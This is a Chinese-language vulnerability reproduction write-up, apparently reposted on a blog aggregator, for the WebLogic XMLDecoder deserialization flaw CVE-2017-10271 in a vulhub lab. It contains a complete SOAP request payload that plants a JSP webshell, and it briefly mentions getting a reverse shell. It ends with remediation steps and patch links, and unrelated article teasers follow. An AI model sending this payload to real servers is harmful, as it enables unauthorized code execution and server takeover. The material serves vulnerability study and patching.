【漏洞复现】WebLogic XMLDecoder反序列化(CVE-2017-10271)

1、漏洞描述

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

2、涉及版本

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

3、环境搭建(vulhub)

cd weblogic
cd CVE-2017-10271
docker-compose up -d
docker-compose config

不会搭建的参考我之前的漏洞复现以及vulhub靶场搭建笔记:vulhub docker靶场搭建-CSDN博客

4、漏洞利用

1)访问链接:http://192.168.61.129:7001/wls-wsat/CoordinatorPortType

返回如下页面,表示漏洞存在。

漏洞不仅仅存在与 /wls-wsat/CoordinatorPortType,只要是wls-wsat包中的Url皆收到影响,可以查看web.xml得知所受到影响的URl。

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2)构造数据包

构造写入文件数据包发送,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.61.129:7001
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 645
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>   
  <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
  <java><java version="1.4.0" class="java.beans.XMLDecoder"> 
  <object class="java.io.PrintWriter">   
  <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string> 
  <void method="println">
<string>  
  <![CDATA[
<% out.print("webshell"); %>
  ]]> 
  </string>  
  </void>   
  <void method="close"/>   
  </object></java></java>  
  </work:WorkContext>   
  </soapenv:Header>   
  <soapenv:Body/>
</soapenv:Envelope>

3)验证webshell。

我们访问恶意路径:http://192.168.61.129:7001/bea_wls_internal/shell.jsp

不熟悉JAVA可以了解构造的XML。


https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.htm

4)实战下Linux反弹shell。

我们kali开启监听。

成功获取到shell。

5.解决方案

1.临时解决方案

根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:

rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

删除后重启Weblogic域控制器服务:

DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务

删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

2.官方补丁修复

前往Oracle官网下载10月份所提供的安全补丁:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/573966.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

AIGC算法3:Attention及其变体

1.Attention Attention是Transformer的核心部分&#xff0c;Attention机制帮助模型进行信息筛选&#xff0c;通过Q&#xff0c;K&#xff0c;V,对信息进行加工 1.1 attention计算公式 Attention ⁡ ( Q , K , V ) softmax ⁡ ( Q K T d k ) V \operatorname{Attention}(Q, K…

找不到mfc140.dll如何解决?mfc140.dll丢失的几种解决方法分享

在我们启动并开始利用电脑进行日常工作的过程中&#xff0c;如果遭遇了操作系统提示“mfc140.dll文件丢失”的错误信息&#xff0c;导致某些应用程序无法正常运行&#xff0c;这究竟是何种情况呢&#xff1f;小编将介绍计算机缺失mfc140.dll文件的5种解决方法&#xff0c;帮助大…

二叉树数据结构详解及java使用二叉树示例代码

二叉树详解&#xff1a; 二叉树是一种常见的树形数据结构&#xff0c;它由节点组成&#xff0c;每个节点最多有两个子节点&#xff0c;分别称为左子节点和右子节点。 二叉树组成&#xff1a; 节点&#xff08;Node&#xff09;&#xff1a; 每个节点包含三个要素&#xff1a;数…

【AI学习】RAG与推荐系统

一、《双塔模型的瓶颈究竟在哪&#xff1f;》 文章介绍了谷歌的一篇论文&#xff0c;《Large Dual Encoders Are Generalizable Retrievers》 文章主要在讲&#xff0c;稠密检索模型在OOD&#xff08;Out-Of-Distribution&#xff0c;即域外&#xff09;泛化能力不行&#xff…

【Pytorch】(十五)模型部署:ONNX和ONNX Runtime

文章目录 &#xff08;十五&#xff09;模型部署&#xff1a;ONNX和ONNX RuntimeONNX 和 ONNX Runtime的关系将PyTorch模型导出为ONNX格式使用Netron可视化ONNX模型图检查ONNX模型验证ONNX Runtime推理结果使用ONNX Runtime运行超分模型 &#xff08;十五&#xff09;模型部署&…

外贸干货|真正的销售高手,都很会提问

你的产品性价比很高&#xff0c;为什么客户没有买单呢&#xff1f; 最重要的原因是你没有了解到他真正的需求。 真正的销售高手&#xff0c;应该是一个提问高手&#xff0c;至少要连续问对方6个问题&#xff0c;问出客户的真实需求。 假如他回答你的问题&#xff0c;你有一种&a…

git 冲突与解决冲突

目录 1.使用 git 解决冲突 GIT 常用命令 制造冲突 解决冲突 2.使用 IDEA 解决冲突 产生冲突 解决冲突 1.使用 git 解决冲突 GIT 常用命令 命令作用git clone克隆git init初始化git add 文件名添加到暂存区git commit -m " 日志信息" 文件名提交到本地库git st…

【运维自动化-配置平台】如何通过模板创建集群和模块

通过【每天掌握一个功能点】配置平台如何创建业务机拓扑&#xff08;集群-模块&#xff09;我们知道了直接创建集群和模块的操作方法&#xff0c;直接创建的方式适合各集群模块都相对独立的场景&#xff0c;那大量的、标准规范的集群模块如何快速创建呢&#xff0c;这里就引入了…

条件生成对抗网络(cGAN)在AI去衣技术中的应用探索

随着深度学习技术的飞速发展&#xff0c;生成对抗网络&#xff08;GAN&#xff09;作为其中的一个重要分支&#xff0c;在图像生成、图像修复等领域展现出了强大的能力。其中&#xff0c;条件生成对抗网络&#xff08;cGAN&#xff09;通过引入条件变量来控制生成模型的输出&am…

面试十五 容器

一、vector容器 template<typename T> class Allocator{ public:T* allocator(size_t size){// 负责内存开辟return (T*)malloc(sizeof(T) * size);}void deallocate(void * p){free(p);}void construct(T*p,const T&val){// 定位newnew (p) T(val);}void destroy(…

Golang对接Ldap(保姆级教程:概念搭建实战)

Golang对接Ldap&#xff08;保姆级教程&#xff1a;概念&搭建&实战&#xff09; 最近项目需要对接客户的LDAP服务&#xff0c;于是趁机好好了解了一下。LDAP实际是一个协议&#xff0c;对应的实现&#xff0c;大家可以理解为一个轻量级数据库。用户查询。比如&#xff…

DiT论文精读Scalable Diffusion Models with Transformers CVPR2023

Scalable Diffusion Models with Transformers CVPR2023 Abstract idea 将UNet架构用Transformer代替。并且分析其可扩展性。 并且实验证明通过增加transformer的宽度和深度&#xff0c;有效降低FID 我们最大的DiT-XL/2模型在classconditional ImageNet 512、512和256、256基…

switch语句深讲

一。功能 1.选择&#xff0c;由case N:完成 2.switch语句本身没有分支功能&#xff0c;分支功能由break完成 二。注意 1.switch语句如果不加break&#xff0c;在一次判断成功后会执行下面全部语句并跳过判断 2.switch的参数必须是整形或者是计算结果为整形的表达式,浮点数会…

centos 7 yum install -y nagios

centos 7 systemctl disable firewalld --now vi /etc/selinux/config SELINUXdisabled yum install -y epel-release httpd nagios yum install -y httpd nagios systemctl enable httpd --now systemctl enable nagios --now 浏览器 IP/nagios 用户名&#xff1a;…

stack,queue的模拟实现以及优先级队列

这篇博客用来记录stack&#xff0c;queue的学习。 stack的模拟实现 stack的模拟实现比较简单&#xff0c;先上代码 #pragma once #include<vector> #include<list> #include<deque> #include<iostream> using std::deque; using namespace std;name…

【STM32HAL库】外部中断

目录 一、中断简介 二、NVIC 1.寄存器 2.工作原理 3.优先级 4.使用NVIC 三、EXTI 1.简介 2.AFIO&#xff1a;复用功能IO&#xff0c;主要用于重映射和外部中断映射配置​编辑 3. 中断使用 4.HAL库配置使用 一、中断简介 中断的意义&#xff1a;高效处理紧急程序&#xff0c;不会…

树莓派学习笔记--串口通信(配置硬件串口进行通信)

树莓派串口知识点 树莓派4b的外设一共包含两个串口&#xff1a;硬件串口&#xff08;/dev/ttyAMA0&#xff09;,mini串口&#xff08;/dev/ttyS0&#xff09; 硬件串口由硬件实现&#xff0c;有单独的波特率时钟源&#xff0c;性能高&#xff0c;可靠&#xff1b;而mini串口性能…

Java-AQS的原理

文章目录 基本概述1. 设计思想2. 基本实现 一些关键词语以及常用术语&#xff0c;主要如下&#xff1a; 信号量(Semaphore): 是在多线程环境下使用的一种设施&#xff0c;是可以用来保证两个或多个关键代码段不被并发调用&#xff0c;也是作系统用来解决并发中的互斥和同步问题…

数据挖掘 | Count数据去除批次效应后不是整数甚至还出现负值导致无法进行差异分析怎么办?

之前咱们介绍过数据挖掘 | 批次效应的鉴定与处理 | 附完整代码 注释 | 看完不会来揍我&#xff0c;但是很多小伙伴遇到了Count数据批次处理后不是整数甚至还出现负值的问题&#xff0c;这就导致无法使用某些包包进行差异分析&#xff08;对差异分析感兴趣的小伙伴可以查看&…

MySQL中如何随机获取一条记录

点击上方蓝字关注我 随机获取一条记录是在数据库查询中常见的需求&#xff0c;特别在需要展示随机内容或者随机推荐的场景下。在 MySQL 中&#xff0c;有多种方法可以实现随机获取一条记录&#xff0c;每种方法都有其适用的情况和性能特点。在本文中&#xff0c;我们将探讨几种…